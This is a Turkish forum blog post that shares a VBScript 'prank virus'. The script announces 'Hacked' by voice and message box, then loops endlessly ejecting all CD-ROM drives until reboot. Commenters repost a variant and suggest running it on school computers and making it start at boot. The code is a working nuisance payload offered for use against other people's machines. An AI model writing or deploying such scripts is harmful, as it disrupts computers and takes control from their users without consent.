CD-ROM'u kapattırmayan virüs

Blog girdisi İncelemeler (1)
Kod: 
do
CreateObject ("SAPI.Spvoice").Speak "Hacked"
X = Msgbox ( HACKED" , 4 + 64 , "HACKED XDXDXD")
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >=1 then
do
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If
loop

Not: Bu şaka virüsü bilgisayarın CD-ROM'unu açar ve kapanmasına izin vermez. Cihazı yeniden başlattığınızda CD-ROM'u kapatabilirisiniz.
  • Hahaha
  • Üzgün
İfadeler: Ashen One, Aylollol, oduncu_yılmaz ve 2 kişi daha ifade bıraktı

Son incelemeler

Tibet Ulubey
Olmadı.
Web Arayüz
Web Arayüz
.vbs olarak kaydettiniz mi?
Daha fazla oku…

Yorumlar

Web Arayüz
Tibet Ulubey dedi:
Gelmedi.
Genişletmek için tıkla...
do CreateObject ("SAPI.Spvoice").Speak "Hacked" X = Msgbox ( "HACKED" , 4 + 64 , "HACKED HACKED HACKED HACKED") Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection if colCDROMs.Count >=1 then do For i=0 to colCDROMs.COunt -1 colCDROMs.Item(i).Eject Next ' cdrom For i=0 to colCDROMs.COunt -1 colCDROMs.Item(i).Eject Next ' cdrom Dim oShell loop End If loop Set oShell = WScript.CreateObject ("WScript.Shell") (.vbs olarak kaydet)
 
403052
Bunu okuldaki eski bilgisayarlarda yapacaksın :D Bir de başlangıçta açılsa ne güzel olurdu. Tam troll olurdu.
 

Blog girdisi detayları

Ekleyen
Web Arayüz
Okuma süresi
1 dakika okuma
Görüntüleme
1.098
Yorumlar
16
İncelemeler
1
Son güncelleme
Değerlendirme
1,50 yıldız 2 değerlendirme

Teknoloji kategorisindeki diğer girdiler

Web Arayüz adlı kullanıcının diğer girdileri

Bu girdiyi paylaş

Geri
Yukarı